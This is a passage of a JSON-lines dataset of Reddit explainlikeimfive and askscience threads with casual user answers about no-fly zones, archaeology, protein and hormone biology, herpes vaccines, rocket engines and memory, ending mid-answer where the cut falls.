{"q_id": "lqrum", "title": "can someone eli5 how a no-fly zone is reinforced.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/lqrum/can_someone_eli5_how_a_nofly_zone_is_reinforced/", "answers": {"a_id": ["c2uuj4l", "c2uuwzo", "c2uveml", "c2uuj4l", "c2uuwzo", "c2uveml"], "score": [5, 31, 2, 5, 31, 2], "text": ["It happens in DC sometimes.  They send jets to escort the plane, or shoot it out of the sky if it doesn't reply/comply.", "Most (if not all countries) use radar to monitor airspace. When aircraft fly within range of radar it appears on air traffic control's screens (usually those towers you see at airports).\n\nMost aircraft also have instruments that transmit their details to air traffic control. \n\n\nWithin a no-fly zone, the authorities would expect to see no aircraft on their screens except any military or any other plane that has been given permission to use that zone.\n\n\nIf they see something that shouldn't be there, they will usually send a military jet to make contact with the plane and escort it either out of the zone or to the nearest airfield. If the plane does not respond and change course, or becomes hostile, it could be shot down.\n\n\nIt isn't always very effective as small aircraft can fly underneath radar (The way it works is probably best for a different ELI5) so this is why military aircraft patrol the no-fly zones looking for any planes that shouldn't be there. As you can imagine this isn't always practical as they have to keep re-fueling.\n\n\nI hope that helps!\n\n\n**Edit: Explained like you are 5:**\n\nAll the parents on your street have agreed that no children should be outside after 6pm. Any children seen outside will be taken home and grounded. The parents look out of the window to check for children or listen for children playing (like radar: All children make noise, planes can be spotted on radar). The parents all agree that they are allowed to tell off any children they see. If a child is found the grown up will walk outside and ask the child to go home. If the child does not, the grown up will take the child back home to their parents.\n\nIt doesn't always work as some children might sneak out and play quietly (flying under the radar) or hide when they see a grown up. Also, the parents can't walk around looking for children all evening as they have things to do, like going to bars or having affairs.", "So one resource that pilots use to find out where temporary (or permanent) no-fly zones are established is Runwayfinder.  I'm sure there are many other sites like it.\nIf, for example, the President is traveling to Camp David, they'll typically establish a no-fly around it while he is there.  \n\nHere's what the map looks like for the region around DC:\n_URL_0_", "It happens in DC sometimes.  They send jets to escort the plane, or shoot it out of the sky if it doesn't reply/comply.", "Most (if not all countries) use radar to monitor airspace. When aircraft fly within range of radar it appears on air traffic control's screens (usually those towers you see at airports).\n\nMost aircraft also have instruments that transmit their details to air traffic control. \n\n\nWithin a no-fly zone, the authorities would expect to see no aircraft on their screens except any military or any other plane that has been given permission to use that zone.\n\n\nIf they see something that shouldn't be there, they will usually send a military jet to make contact with the plane and escort it either out of the zone or to the nearest airfield. If the plane does not respond and change course, or becomes hostile, it could be shot down.\n\n\nIt isn't always very effective as small aircraft can fly underneath radar (The way it works is probably best for a different ELI5) so this is why military aircraft patrol the no-fly zones looking for any planes that shouldn't be there. As you can imagine this isn't always practical as they have to keep re-fueling.\n\n\nI hope that helps!\n\n\n**Edit: Explained like you are 5:**\n\nAll the parents on your street have agreed that no children should be outside after 6pm. Any children seen outside will be taken home and grounded. The parents look out of the window to check for children or listen for children playing (like radar: All children make noise, planes can be spotted on radar). The parents all agree that they are allowed to tell off any children they see. If a child is found the grown up will walk outside and ask the child to go home. If the child does not, the grown up will take the child back home to their parents.\n\nIt doesn't always work as some children might sneak out and play quietly (flying under the radar) or hide when they see a grown up. Also, the parents can't walk around looking for children all evening as they have things to do, like going to bars or having affairs.", "So one resource that pilots use to find out where temporary (or permanent) no-fly zones are established is Runwayfinder.  I'm sure there are many other sites like it.\nIf, for example, the President is traveling to Camp David, they'll typically establish a no-fly around it while he is there.  \n\nHere's what the map looks like for the region around DC:\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://runwayfinder.com/?x=-77.1624755859375&amp;y=38.8824811975508&amp;z=8&amp;view=vfr"], [], [], ["http://runwayfinder.com/?x=-77.1624755859375&amp;y=38.8824811975508&amp;z=8&amp;view=vfr"]]}
{"q_id": "xy0ur", "title": "Why and how are archeological sites determined to be mostly religious in nature?", "selftext": "In doing research for [this AskReddit post](_URL_0_), it dawned on me that the majority of ancient buildings we find are deemed as temples. To my limited knowledge on this topic, I believe it is because of the etchings of animals/figurines, the shape of the building and the great (economic and labor) costs taken to erect these structures. However, could not the same be said for our modern day malls, for instance?\n\nImagine a future civilization were to uncover a mall, with its wide hallways, tall ceilings and pillars, full of decoration and tilework. If they used our same defining factors, would they not also deduce the mall to be a temple?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xy0ur/why_and_how_are_archeological_sites_determined_to/", "answers": {"a_id": ["c5qmb5s", "c5qmc4p", "c5qmhw5", "c5qmyha", "c5qnu3l", "c5qo2cf", "c5qo7w7", "c5qoziz", "c5qp3c3", "c5qq605", "c5qqzoy", "c5qrm4s"], "score": [238, 43, 8, 6, 3, 8, 5, 27, 5, 3, 2, 2], "text": ["There's a joke in archaeology; if you can't explain it, it probably has religious significance. (I think that there's an theist logic joke in there somewhere). \n\nReally though, impracticality, centrality, as well as the imagery, shapes, and costs are important factors. Typically, there will also be use-wear in practical buildings, as well as associated artefacts to suggest the use of the building. A central focal point also tends to be a giveaway (think: how many places that are not used for oratory/ visual effect have a central focal point and fit the other describing factors? How many existed in the distant past?).\n\nUltimately, its a process of combining the location, building structure, related artefacts, and a bit of Occam's Razor.", "In Archaeology, and most areas of anthropology really, the context is everything. The use of a structure is determined by what it contains, what is around it, how it is built or decorated. You'd be surprised just how many of these details survive time. ", "Religion was most relevant in the times that archaeology help us investigate. With science being in its infancy back then compared to what we have now, religion would have been the only major way for people to perceive the world we live in. Therefore it makes sense that most of society would be dedicated to worshipping the deities. \n\nEDIT: I'm a little disturbed that the people in the askscience subreddit can't see that I'm providing an objective reason, rather than bashing religion...?\n\nEDIT2: Allow me to expand my answer: Do not make the mistake of thinking of religion in 21st century terms. Stonehenge is, after all, a religious building by archaeological standards. It isn't just churches and monasteries that entail this category. In fact, some burial sites that predate anything that we recognise as a building today show the bodies were sprinkled with red ochre, as part of a religious ceremony. Not all religions built structures to worship gods.", "I think it is important to note that we do have an understanding between an ancient market place and something used for religious reasons. A mall would be looked upon as just that. They may not understand the significance if Barbie, G.I. Joe, movie stars on DVD packaging, or Bay Blades, but the amount of objects that could survive would allow logic to say that a mall is not a religious place of worship and possibly a market or some sort of bartering place. A good signifier would be coins left over from what was not stolen and if it was a catostrophic event wiping out humanity, all that money left around would be a good signifier.", "Why are most female sculptures deemed as relating to fertility? In all seriousness, what about ancient humans figuring out that they are also aroused by representations of the female form vs. the actual thing?", "I'd like to speak to one point here, regarding the prevalence of religious structures.  I spent six years excavating in the UK and the Republic of Ireland and never encountered any kind of religious structure.  Different regions have different archaeology.  If you're excavating standing buildings in Egypt or the near east, then you're almost certain to encounter religious structures, but less so as you move west.  \n\nArchaeology is all about context and is a lot more scientific than when Carter was excavating the Valley of the Kings.  I've successfully excavated structures where the only indication was a change in the color of the soil and some associated features.  It would be very unlikely that we would confuse a commercial structure with a religious one in the far future - we're actually pretty good at distinguishing one from another now.  ", "I'm an anthropologist, not specialized in archaeology. \n\nI think you're right, it is hard to distinguish, this said, it's all about context, and if we uncover a city with full of little houses, we'll put on the news the central religious place. So, imo, the question you're asking is based on a false idea.\n\nIn case I'm unclear, what I'm saying is that it's not true we find more religious places, but we talk more about them. Take for example Teotihuacan. When I first visited it, I went very early in a non-touristic moment of the year, we sat down on some rocks to smoke a 4:20, only to realize we were still on the site, although it wasn't written as such, and were sitting on the walls of a \"what seems to be normal house\". Nobody cared about those parts, everybody was visiting the temples and the people in charge were only investing to preserve them as well.\n\n**tl;dr:** *from a scientific point of view, we rarely find temple, but they often make the news.*", "(archaeologist here)\n\nI think a key distinction needs to be made: there are plenty of \"ancient buildings\" that are in no way, shape, or form determined to be religious in nature.  A majority, in fact.  What skews the public's perception is that the most visible, prominent sites, compounds, and structures usually have a religious significance.\n\nSay you're a future archaeologist and you come upon a small city in a Catholic nation, say Spain or Italy.  You would have plenty of smaller compounds and buildings on the periphery of the city, perhaps of one to several rooms, but at the very heart and center of the city would be a plaza and the largest, most impressive building facing that plaza would be the cathedral.  So out of the hundreds or thousands of structures you have in the city, ~90% are households or storage or something similar, but that 10% of buildings that are not households are also some of the most impressive, and thus draw the most attention, be it from archaeologists or the public (or even the ancient residents of the cities themselves).  This is why these monumental structures command so much attention, because they're important.  Most ancient structures are not nearly as interesting nor do they command so many questions about them.\n\nThere are plenty of reasons why this is, but one has to keep in mind that religion is far more intertwined with early states or societies than it is today.  The primary mode of gaining power and hierarchical social structures is to limit access to the gods and the supernatural (so argues Norman Yoffee, though HBE people would fervently disagree), and thus many early civilizations or states arose in a theocratic way.  In an effort to consolidate their power, these early rulers emphasized their connection to the gods, be it they themselves as demi-gods or their exclusive communicatory link to the supernatural (gods or ancestors).  One prime example of this \"scheme\" is the egyptian pharaohs using their tremendous influence being gods to erect monuments to how great they are, thus convincing the unconvinced of their divinity and allowing them to be easily subdued or subjugated because, let's face it, who can argue with a divine mandate?\n\nThere is plenty of anthropological and archaeological literature on religious/ideological control in societies both past and present, and it's something I find fascinating (at least enough to base a good chunk of a dissertation on it).  This is really just kind of a cursory, quick explanation.", " > Imagine a future civilization were to uncover a mall, with its wide hallways, tall ceilings and pillars, full of decoration and tilework. If they used our same defining factors, would they not also deduce the mall to be a temple?\n\nRead the book Motel of the Mysteries by David Macaulay for the exact scenario you describe.  Basically tracks a future Howard Carter as he excavates a motel and everything is described as having a religious significance", "Ritual is often the go to answer, but there is good reason behind this. Lets deal firstly with historic archaeology - where written records remain, identifying what a building was can be quite easy, at least in theory. Even without records, identifying religious sites is often fairly easy in the historic period. I am going to use christianity as an example, because that is the prevalent religion in the UK. So, lets look first at a medieval church. Our first help is that some medieval churches still exist, like [this one](_URL_0_) so, by identifying features which correlate with those on existing churches, we can make a parallel, allowing us to infer religious usage. Another feature which can help is current usage. For the most part, we know what to expect from a church. By using this knowledge, we can use our own knowledge to assist us. This can be dangerous however, as we can place our modern values on an ancient culture, which is quite often very different to ours. We can use our own knowledge in association with records of the development of christian churches to build a hypothesis.\n\nThings get a little more complicated when we deal with prehistory. Here, often we have nothing similar in the modern age. And so, we must look a little more carefully. More scientific methods help here. Firstly, as you say, we can look at the economic and labour costs. An example of this is the Neolithic [Silbury Hill](_URL_5_), in Wiltshire. The effort taken to construct it must have been massive! especially when you consider that the population of britain at the time was relatively tiny. Here, we have very little to go on with finds. For some reason it is very barren on that front. So one of the most useful things we can do is look at the landscape it sits in. From Wikipedia - \"[John Barret] notes that any ritual at Silbury Hill would have involved physically raising a few individuals far above the level of everyone else. These few individuals in a privileged position would have been visible for miles around and at several other monuments in the area.\" This is not necessarily indicative of ritual itself, but is worthy of note. The next thing to look at is the monuments in the surrounding area. At Silbury, we have the immediately obvious, [Avebury Ring](_URL_1_) also within easy reach is stonehenge, and several barrows. We know henges are ritualistic (more on this later) so the presence of a large man made hill right in the middle of two major ritual centres indicates that the hill is likely ritualistic too. \n\nNow we get to arguably the most famous prehistoric ritualistic centres, the stone circles. The most famous of these is stonehenge. Unfortunately, it is not necessarily the best excavated. Still it serves as a useful example. Firstly, let's look at an [Aerial photograph](_URL_2_) Note the avenue leading in from the bottom right corner. (it appears as two separate lines. This is supposedly a ceremonial way, and when seen [like this](_URL_2_) it is easy to imagine it as such. This alone proves nothing, but in it's wider context it is of use. A ceremonial centre would have had to have an access route, and this serves the dual purpose of making the circle incredibly imposing. The next thing to consider is construction. Aside from the ludicrous amount of work it takes to build a henge, we must consider how it was built. One of the most useful things here is stratigraphy. This is basically how soils are layered on top of each other. Without going into excessive detail, Stonehenge was built in phases,  more [Here](_URL_3_) To completion it is estimated that stonehenge took nearly a thousand years to build. (With a hundred and fifty year hiatus between phases two and three.) Things that take this long to complete have to be important. In addition to this note that \"Towards the end of [phase two], cremations [were] put in the partially filled Aubrey Holes and the upper ditch, and on and just inside the inner bank\" (From Wikipedia) Burials and cremations go hand in hand with ritual, and so the placing of cremated remains in and on the site is highly significant. Next, lets look at the associated sites (At stonehenge the number of sites surrounding the monument is massive, so I won't list all of them.) The [Normanton Down Barrows](_URL_4_) are of note. These are High status burials, from the bronze age. The idea of wanting to place your dead next to the monuments of your ancestors, is obviously very significant. This tells us of the later perception of the site - clearly they believed the megaliths were important, and buried their elite there as a result. Finally we can look elsewhere. Henges turn up everywhere as far away as [Orkney](_URL_6_) so we can assume with evidence gathered from these, that they too are ritualistic. adding more depth to our argument.\n\nNow lets come to your Mall example. Written records exist, so we can look to those first. They would reveal the mall's true usage. Lets make things tricky though. Lets say written records don't exist for the site, even if this were the case records would likely exist for a similar site, allowing us to draw a parallel. Even if it this is not possible, we can use basic principles to identify the site's use. Firstly, lets look at finds. Waste will end up somewhere around, what does this tell us? Well, waste from a mall is going to be fairly prolific, and the contents of it can be quite telling. Secondly lets look at the wider context. Does it match what we already know of the time? Are there burials nearby? if so, are they contemporary, could they be attributed to any other site? What of the transportation network? The Thrust of this is, as has already been said, context is everything. People devote their lives to something as small as archaeological seed samples, all in the name of context. Of course, archaeology is always open to conjecture, and every piece of evidence is worthy of careful consideration.\n\nAs a final note, wherever there are two archaeologists there are at least three opinions, and it is worth bearing this in mind when reading  through the literature.  \n\n**TL;DR - Context is everything, Old stuff is cool.** ", "Malls are temples to the god Mammon.\n\nDifferent segments of each temple are devoted to various manifestations of Mammon, which relate to different sorts of activity and different segments of the population. Within the Cult of Mammon, each such manifestation is an incarnation (in their argot, an *incorporation*, from the Latin *corpus*, meaning \"body\") of the greater Mammon, and while they can compete with and even consume one another, they are all subject to the Invisible Hand, and rely on flows of Capital (through the more transcendent vehicle of Equity or the more immanent vehicle of Credit) for their lifeblood.\n\nEven those who doubt the personhood of such Corporations will still often carry small devotional plaques with them, everywhere they go; by social convention, society honors the flows of Credit such plaques represent, and it's not hard to find people willing to re-direct resources according to those arcane forces of Capital. Over-use of this power violates social taboo, though, and an elaborate and opaque accounting system has been developed to shepherd devotees through its responsible use, and guide them through the rituals of absolution necessary to atone for past wrongs (the worst offenders are forbidden from such interactions for up to seven years!).\n\n(Edit: I'm not really joking; this description of shopping malls best describes my understanding of what they're for, although I'm presenting it with some humor. For example, my choice of the Aramaic term for \"wealth\" is just a winking reference to the Christian analysis that most uses of money are forms of idolatry.)", "You may want to look in to something called Ley Lines. Originally many sites were chosen as being on the ley lines or on the intersection of these ley lines, supposedly because they had hidden powers and such:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": ["http://redd.it/xxtif"], "answers_urls": [[], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/File:St_Laurence%27s_Church.JPG", "https://en.wikipedia.org/wiki/Avebury", "http://www.englishheritageprints.com/low.php?xp=media&amp;xm=1556735", "https://en.wikipedia.org/wiki/Stonehenge_in_its_landscape", "http://www.english-heritage.org.uk/daysout/properties/stonehenge/world-heritage-site/map/normanton-down-barrows/", "https://en.wikipedia.org/wiki/Silbury_Hill", "https://en.wikipedia.org/wiki/Ring_of_Brodgar"], [], ["http://en.wikipedia.org/wiki/Ley_line"]]}
{"q_id": "54cxzx", "title": "would present day music sound \"futuristic\" if it was played in the 70s or 80s?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/54cxzx/eli5_would_present_day_music_sound_futuristic_if/", "answers": {"a_id": ["d80rwu3", "d80sm7w", "d80up5r"], "score": [5, 2, 6], "text": ["No. Still most of the same genres just slightly different in some areas. They would only think it's futuristic if, of coarse if they new it was from the future and thought of it that way, or it abides to what they thought futuristic music would sound like.", "Go to an abstract, Dadaist modern art gallery.\n\nIs that \"futuristic\" to you?\n\nOr is it just \"weird\" because you just plain \"don't get it\"?", "Possibly relevant. I remember the first time I heard Failure's [Stuck on You,](_URL_0_) which was actually recorded twenty years ago. (Yikes!)  \nAnyway, I had to learn it for a band, and we got into a discussion of what it would be like to play this cut for the Beatles in 1966. They would *get* it, because it's all just regular rock guitar and known harmonies, but, at the same time, they wouldn't get it, because it sounds like a musical bulldozer.  \nOr maybe they would. I mean, they're the Beatles.  \nAnyway, it was a good discussion while passing the bong. You should have been there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=JJ355Yrf_FY"]]}
{"q_id": "6mzb5y", "title": "what are heat shock proteins and how are they good for your body?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6mzb5y/eli5what_are_heat_shock_proteins_and_how_are_they/", "answers": {"a_id": ["dk5jeru"], "score": [4], "text": ["So heat shock proteins are a group of proteins.  They are regulated by transcription factors called Heat Shock Factors. During cell stress, this family of proteins is made to help the cell cope with the stress.  So these proteins normally \"chaperone\" other proteins by helping them fold correctly. Proteins have different structures they fold on top of themselves and heat shock proteins make sure that they fold right. They also act in the immune system as antigen presenters, so they can kind of hold out \"bad\" bacterial or viral proteins to immune cells and say \"hey, kill this thing\". :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bxeuo9", "title": "why are some bodily hormones only produced when we sleep?", "selftext": "Title asks it all. Cheers :)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bxeuo9/eli5why_are_some_bodily_hormones_only_produced/", "answers": {"a_id": ["eq62t6b"], "score": [2], "text": ["I think it would be helpful to examine this question as one example of a more general question: Why do bodies produce some hormones under some conditions but not other? And as a follow-up how are they able to do this?\n\nThe why question is so easy to answer that it's not very illuminating: it's either because natural selection favored organisms that do it this way, or this is the dominant genetic trait and natural selection didn't strongly disfavor it. Over time, organisms that did it this way survived and, either through selection pressure, or through random chance, reproduced more than organisms that didn't do it this way and now many organisms do it this way. Slightly more interesting is the gene-level view of things, which is that natural selection favored organisms that contained genes for doing it this way, or that this is the dominant genetic trait and natural selection didn't strongly disfavor organisms with it. Over time, organisms with these genes survived and, either through selection pressure, or through random chance, reproduced more than organisms without these genes and now these genes have come to dominate the population.\n\nThe how it the interesting question though. There are a lot of physical and chemical signals telling cells when to do one thing and when to do another. Some hormones may be produced when gravity pulls sideways at the body and turned off when gravity pulls downward. This could be moderated through the flow of liquids that are affected strongly by gravity such as your blood or your stomach contents. Other hormones could be produced when there is no light present because light exposure on your skin or optic nerve inhibits production. Still others may be produced when your overall metabolic rate is low and chemicals produced during the day are not present or have begun to degrade.\n\nAs you can see, it may not be the case that some hormones that are produced when sleeping are produced because of sleeping. They could be, but there are also likely a large number of other environmental factors that are associated with sleep and trigger production."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5nxq5b", "title": "why does someone ignoring you cause so much pain and anger?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5nxq5b/eli5_why_does_someone_ignoring_you_cause_so_much/", "answers": {"a_id": ["dcf2i9v", "dcf35qk", "dcf4887", "dcf8pv2"], "score": [10, 12, 2, 2], "text": ["Human's are inherently social creatures and when we are denied of something that we seek out, we can become resentful ", "We wish to have the attention and approval of others, since this is obviously a survival and reproductive advantage in society.  Your brain's natural response to being dismissed or ignored, then, is to motivate you to gain more social acceptance.  \n\nThat being said, remember that the other person's action or inaction is not what causes the emotional response,it is your own mind which causes that response, and only you can identify, analyze and control it.", "Is something wrong with me? Being ignored doesn't even register on my anger scale, and I'm a pretty angry guy.  To me its almost like they are doing me a favour.", "Rejection. It feels like personal rejection, and that is when all our senses of self worth and esteem get touched. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "25b6dz", "title": "Why do we have vaccines for herpesviruses like chickenpox and shingles, but no vaccines for herpes simplex virus 1 and 2?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/25b6dz/why_do_we_have_vaccines_for_herpesviruses_like/", "answers": {"a_id": ["chfuva1"], "score": [2], "text": ["Vaccines work by stimulating a response against pathogen proteins, usually on the virus cell surface. It's not that we aren't trying to produce an effective vaccine for HSV, it's what the virus does after infecting the host that renders it particularly elusive to this method of treatment...\n\nThe main issue with HSV-1 and -2 compared with the other herpesviruses is that after the initial infection, HSV has the ability to adopt a \"latent\" state: \nFollowing the infection, the virus moves to the sensory neuron cell bodies where its DNA is incorporated into the cell. During this latent stage there is no viral replication, no production of viral proteins (this is controlled by a number of regulatory genes). As a result, the immune system cannot target the dormant virus, and it remains silent in the neurons until triggered (for example by compromisation of the immune system).\n\n Without the production of virus in this latent state, the immune system has nothing to target; which is why HSV is treatable with antiviral drugs and the like, but not curable (yet).\n\nEDIT: I was mistaken - all herpes viruses are able to enter the dormant state. I imagine the reason for no HSV vaccine is probably just lack of research or funding, or the failure to target a component of the virus with enough efficacy to justify developing a vaccine. Plus, it's probably not a very high priority in the world of diseases to be cured."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2sq0oo", "title": "the ncaa taking/reinstating the wins of joe paterno. what does it mean and why does it matter?", "selftext": "There's been a controversy over the NCAA reinstating Joe Paterno's win record. My question is, what does it mean to take it away? The wins already happened. What does it affect? Hopefully my question made sense.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2sq0oo/eli5_the_ncaa_takingreinstating_the_wins_of_joe/", "answers": {"a_id": ["cnrvais"], "score": [3], "text": ["With the wins Paterno is once again the all time wins leader for college coaches at 409, without them Bobby Bowden at FSU takes it with somewhere in the 350's. It means the NCAA is recognizing him as the record holder again.\n\nThe NCAA was essentially saying that those games were won under \"false pretenses\" in that if everything had come out at the time recruits wouldnt have wanted to go to PSU and those games might not have been all wins. However the NCAA had very shaky legal ground to sanction the school at all as it was mostly a criminal matter. What is concerning is that there are on going criminal investigations and that there were people in the building who may have acted inapproriatley and they should face the consequences of their actions, but the evidence that Paterno was one is minimal at best, he told his bosses what he heard and then went back to being a coach, could he have done more maybe, but he never saw anything directly either like some did. \n\nRestoring the NCAA record is fine, PSU will still be feeling the effects of thsi for years to come anyway. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7xzfhe", "title": "Why don't they use jet engines for the first stage of rockets?", "selftext": "I just learnt about specific impulse and how the specific impulse of jet engines is much higher because they don't have to carry their own oxygen. And that made me think; why don't they use jet engines for the first stage, when there's still oxygen around? Wouldn't that be much more efficient?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7xzfhe/why_dont_they_use_jet_engines_for_the_first_stage/", "answers": {"a_id": ["ducdndm", "ducety0", "ducnl4b", "dujkj3p"], "score": [39, 27, 10, 2], "text": ["Some of the problems:\n\nJets are only efficient at a specific designed air pressure and density. This is bad for vertical movement, where those parameters constantly change.\n\nA rocket will quickly leave all altitudes where there's enough oxygen to burn. This means that the first stage would barely be used, which is a horribly inefficient thing to do.\n\nAir consists primarily of nitrogen, so you need to separate the oxygen from the rest of the air - while in flight.\n\nTo get enough specific impulse from oxygen, you need to liquify it first, otherwise it's density is far too low to carry enough momentum. That means you need *a lot* of oxygen, which is difficult to come by if you fly very slowly (which you *do* at launch).\n\nAll of that under very cold conditions, which makes the processes even more complicated. For example your heat exchangers might freeze.\n\nTackling all these problems usually makes the rocket way heavier than just taking the oxygen and a normal rocket engine with you. It's also expensive as hell, considering your tech will be lost after one use. Unless you are SpaceX that is.", "First stages of larger rockets typically burn something like 500 kg to 1000 kg of fuel every second, roughly 1/3 of that as oxygen. You can't get that much oxygen without moving fast, and if you don't burn that much you don't lift off like a rocket.\n\nPlane-launched rockets exist, [Pegasus](_URL_0_) is the most notable example. You could call the airplane the first stage I guess.\n\nIt is complicated, and airplanes can't go very fast or fly very high, so you don't gain that much.", "It's not feasible in a vertical launch system. Many of the reasons have been specified already in other comments, but another one is likely the cost. Air-breathing engines capable of launching a rocket vertically would likely be much more mechanically complex and thus much more expensive than standard rocket engines. Since most rocket stages are discarded after use, that's a lot of cost to eat. SpaceX has been pioneering the recovery of launch stages, but that process would be rather difficult with air-breathing jet engines which tend to rely on forward momentum to gain the oxygen needed for thrust.\n\nThere is a fantastic concept that is being built into a prototype called the Skylon. It's a SSTO spacecraft (Single Stage To Orbit) which takes off and lands on a runway. It uses an experimental engine called the SABRE (Synergistic Air-Breathing Rocket Engine). It's capable of running off of atmospheric oxygen up to around Mach 5, at which point it can activate a closed-loop mode that uses on-board oxygen like a rocket Engine. Have a look if you're interested.", "Besides the points already made by others i want to point out that actually getting up to space is not that expensive. You can basically do that with an airplane going fast and stearing up. Getting to orbit is about achieving the undgodly amount of speed needed to not fall back to earth. And that requires a lot of fuel."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Pegasus_(rocket\\)"], [], []]}
{"q_id": "45l6kv", "title": "if the brain works through electric impulses, how are memories retained, and then called upon?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45l6kv/eli5_if_the_brain_works_through_electric_impulses/", "answers": {"a_id": ["czyl6qv", "czynb5y", "czynheg", "czyqvdu", "czyrnt1", "czysgl8", "czyx550", "czz0gv4", "czzkils"], "score": [336, 12, 7, 2, 3, 4, 2, 3, 2], "text": ["Actually electrochemical.  Nueral pathways that work are reinforced.  Pathways that do not work are starved.  The brain works on pattern recognition.  So a memory is stored as  patterns and strings of patterns. At least that's how I understand it. ", "You'll have to forgive me for not having a source but this is stuff I learned in my psych class on memory:\n\nThoughts are based on connections between neurons, and the connections between neurons can be formed or can atrophy away. When a neuron triggers, it releases neurotransmitters - which are chemicals that trigger neuronal impulses - into the connections it has with other neurons (called the synapse). This continues on triggering every neuron in sequence until there's no more connections leading to neurons, or for whatever reason there is no more energy to fire the neuron. Each neuron can have hundreds of connections to other neurons in the brain and leading out of the brain through the brain stem. The last thing that's important is that the connections between neurons can vary in strength. The more those neurons fire, the better and more easily the neurons can trigger eachother. (This is also how neurons tend to connect to eachother initially, by firing at the same time)\n\nIn terms of memory, specifically long term memory which is what I think you're asking about, there are lots of theories about how they get formed, but I believe one of the more commonly accepted ones is neuron circuits. When something happens and your brain decides it's important enough to store in LTM(long term memory), it has to encode that information somewhere, as well as a way of retrieving the information. What happens is that a loop of neurons get connected into a closed circuit (so that one neuron firing innevitably leads to it firing again) that continuously fires, and continues firing constantly for a long time, basically cementing the connections together so that if a particular input (ie \"I need to remember this\") comes in, it can very easily output the required information. The reason that we forget things is typically not because the memory isn't there, but because the pathway to tell the circuit to give us the information is either broken or we don't know how to trigger it. Additionally, whenever you remember something, you essentially have to re-memorize it, and this can lead to screwups.\n\nHopefully this is what you're looking for. If you're interested in how memory works on a slightly more abstract level, in terms of going from information you know right now to stuff you've memorized, I believe I have a post about it somewhere that j can dig up for you.\n\n\nCheers.\n\n:(", "[Memory Hackers - NOVA](_URL_0_)\n\nPretty interesting documentary that goes into how and where memories are stored.", "I was taught in physio last year, and advanced physio last semester, that we really don't understand how memories are called upon. There are theories and ideas, but we really don't know. ", "Right, so electrical signals don't last very long. Definitely not the years or decades that a childhood memory does. So memories probably aren't purely neuronal electrical signals moving through brain circuits. It just isn't plausible. It doesn't make sense. This hits on the fundamental question of the neuroscience of learning and memory: if neurons can't use just electricity for memory, they must use something else too, so what is that something else?\n\nBefore I give you my answer, consider what a good answer to this question would be. You'll want something that lasts longer than an electrical signal, something that lasts decades. Yet something that can be changed to resemble the experience you had so that you can call on it later.\n\nHere's an analogy for memory that helps me. Think of a stream of water going down an old mountainside. The water flows down the path of least resistance. Let's say that particular path had been carved into the mountainside after years of erosion. That means the path is the result of the mountainside's past experience. And that gulch resembles what's happened over the years. And so even if there were a year-long drought and the mountainside were bone-dry, you'd know what path the water would take-- it'd be written in the rocks!\n\nNote that the rocks are changeable with experience, yet long-lasting. That's kind of like how a memory should work. As a stream of experience runs down your old mountainside brain, it will take the least resistant path that past experience has carved. The \"water\" is made up of short-lasting electrical signals. And, using this analogy, the question is, for human memory, what are the \"rocks?\"\n\nThe answer is that-- in addition to electrical signals-- neurons use the physical connections between each other for memory. This is because the connections can outlast the electrical activity that reverberates throughout the nervous system after an experience. In order to retain all the details of an experience (ie that thing that happened when you were a kid), the connections between neurons-- called synapses-- physically change: in size, shape, and strength. These physical changes outlast the experience.\n\n\"Okay,\" you might be wondering, \"But does this explanation really answer the question we set out with? Does a change in synaptic strength really last for decades?\" Neuroscience has yet to give a definitive answer to this question. Certainly changes in synaptic strength can last hours. Changes in synaptic shape can even last days. There's even a few reports that some synaptic changes can last months. But evidence that synaptic changes last years or decades is... lacking. So I admit synaptic changes might not last for decades, and so this answer falls short of the goal. But scientists are working on an answer, okay?!\n\nTldr- memories are experiences that are encoded as electrical activity in the nervous system and then stored in rock-hard synapses that are stable and yet can change with experience. When similar experiences activate similar neural connections, the memory is retrieved.\n\nEdit-- let me know if something isn't eli5 enough and I'll analogize it more.", "Memories are also not fully stored in its entirety. It also works very much on assosiations. When you recall a memory it is reconstructed from previous memories. Objects and scents are not stored in the memory but rather stored in a library of sorts. Which many memories connect to. So when having a difficult time recalling a memory, if you smell or see an object that connects to the memory it can be triggered. A lot of the brain is interconnected in this way. Where one input can trigger many memories or thoughts. And it happens all the time.", "Memory's are complicated but it's important to think about two terms. All the electro chemical reaction is, is a single neuron being \"excited\" because of the detection of that specific cells trigger.\n\nMemories are a combinations of cells reacting to a situation that causes all of the cells used in detection during that memory to reengage, essentially drawing you a mental representation of saved senses in a file.\n\nFor retainment, I don't know nearly enough about neuroscience to give an honest answer.\n\nFor recovery however, we don't actually \"call\" upon memories. The memories get triggered by an external actor, like a song or smell, that causes other cells that have built a connection with that smell to all fire, creating a chain reaction that in turn, gives you \"a memory\".", "Hi there. The brain is full of neurons with axons and dendrites. Action potentials (electricity) go down the axons to interpret a signal coming in from afferent nerves or make something happen (efferent nerves). The dendrites are where connections are stored. \n\nWhenever you do/see/experience something for the first time, a 